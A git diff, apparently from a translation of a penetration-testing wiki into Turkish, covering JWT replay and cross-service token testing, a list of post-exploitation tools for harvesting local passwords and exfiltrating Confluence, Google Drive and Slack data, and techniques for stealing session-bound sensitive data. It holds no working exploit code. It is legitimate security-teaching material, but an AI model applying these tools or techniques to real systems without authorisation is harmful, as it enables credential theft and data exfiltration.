güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir müşteri için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir müşterisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir müşterisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynatma girişiminde bulunulmalıdır. -- Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceğinden kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kaydolunması durumunda daha geniş testler için izin gerekebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir. +- Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceğinden kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kayıt olma izni gerekebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir. -**Token'ların Süre Kontrolü** +**Token'ların Süre Sonu Kontrolü** -Token'ın süresi "exp" Payload iddiası kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekmektedir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynamak, o kullanıcıyı taklit etmeyi mümkün kılabilir. JWT RFC, token için bir son tarih ayarlamak amacıyla "exp" iddiasını kullanarak JWT yeniden oynama saldırılarını azaltmayı önermektedir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" iddiasını içeriyorsa ve test süreleri izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynamak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir. +Token'ın süresi, "exp" Payload iddiası kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekmektedir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynamak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir süre sonu belirlemek amacıyla "exp" iddiasını kullanarak JWT yeniden oynatma saldırılarını azaltmayı önermektedir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrollerin uygulanması da önemlidir. Token "exp" iddiasını içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süre dolduktan sonra yeniden oynamak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre sonu kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir. - Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresi dolmayabileceğini ima edebilir. diff --git a/src/post-exploitation.md b/src/post-exploitation.md index 531f82530..80b87c903 100644 --- a/src/post-exploitation.md +++ b/src/post-exploitation.md @@ -1,16 +1,16 @@ {{#include ./banners/hacktricks-training.md}} -## **Local l00t** +## **Yerel l00t** -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. +- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Bu scriptler, PE vektörlerini aramanın yanı sıra, dosya sisteminde hassas bilgileri de arayacaktır. +- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne projesi**, yerel bir bilgisayarda saklanan **birçok şifreyi geri almak için** kullanılan açık kaynak bir uygulamadır. Her yazılım, şifrelerini farklı teknikler (düz metin, API'ler, özel algoritmalar, veritabanları vb.) kullanarak saklar. Bu araç, en yaygın kullanılan yazılımlar için bu şifreleri bulma amacıyla geliştirilmiştir. -## **External Services** +## **Dış Hizmetler** -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review. +- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Bu Modül, bir erişim token'ı kullanarak Confluence API'sine bağlanacak, PDF'ye aktaracak ve hedefin erişim sağladığı Confluence belgelerini indirecektir. +- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Hedefin erişim sağladığı Google Drive'dan dosyaları exfiltrate etmek için bir Kırmızı Ekip aracıdır. Bu, tüm paylaşılan dosyaları, paylaşılan sürülerden tüm dosyaları ve hedefin erişim sağladığı alan sürülerinden tüm dosyaları içerir. +- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Erişim sağladığınız hedef organizasyonun Google Kişi Dizini'ni exfiltrate etmek için bir Kırmızı Ekip aracıdır, Google'ın Kişi API'si aracılığıyla. +- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Bu, bir erişim token'ı verildiğinde bir Slack çalışma alanından 'ilginç' bilgileri çıkarmak için yerel Slack API'lerini kullanan Python'da geliştirilmiş bir araçtır. +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound, kırmızı ve mavi ekiplerin bir Slack çalışma alanı/organizasyonunu hızlı bir şekilde keşfetmelerini sağlamak için bir komut satırı aracıdır. Slackhound, bir organizasyonun kullanıcılarını, dosyalarını, mesajlarını vb. hızlı bir şekilde aratılabilir hale getirir ve büyük nesneler çevrimdışı inceleme için CSV'ye yazılır. {{#include ./banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index c24ee8094..d35e63bba 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Stealing Sensitive Information Disclosure from a Web +# Web'den Hassas Bilgilerin Çalınması {{#include ./banners/hacktricks-training.md}} -If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\ -Here I present you the main ways to can try to achieve it: +Eğer bir noktada **oturumunuza dayalı hassas bilgileri sunan bir web sayfası bulursanız**: Belki çerezleri yansıtıyordur, ya da kredi kartı detaylarını veya başka herhangi bir hassas bilgiyi yazdırıyordur, bunu çalmaya çalışabilirsiniz.\ +Burada bunu başarmak için deneyebileceğiniz ana yolları sunuyorum: -- [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags. -- [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). +- [**CORS bypass**](pentesting-web/cors-bypass.md): CORS başlıklarını aşabiliyorsanız, kötü niyetli bir sayfa için Ajax isteği yaparak bilgileri çalabilirsiniz. +- [**XSS**](pentesting-web/xss-cross-site-scripting/): Sayfada bir XSS açığı bulursanız, bunu bilgileri çalmak için kötüye kullanabilirsiniz. +- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): XSS etiketlerini enjekte edemiyorsanız bile, diğer normal HTML etiketlerini kullanarak bilgileri çalmaya devam edebilirsiniz. +- [**Clickjaking**](pentesting-web/clickjacking.md): Bu saldırıya karşı bir koruma yoksa, kullanıcıyı hassas verileri göndermesi için kandırabilirsiniz (bir örnek [burada](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ./banners/hacktricks-training.md}}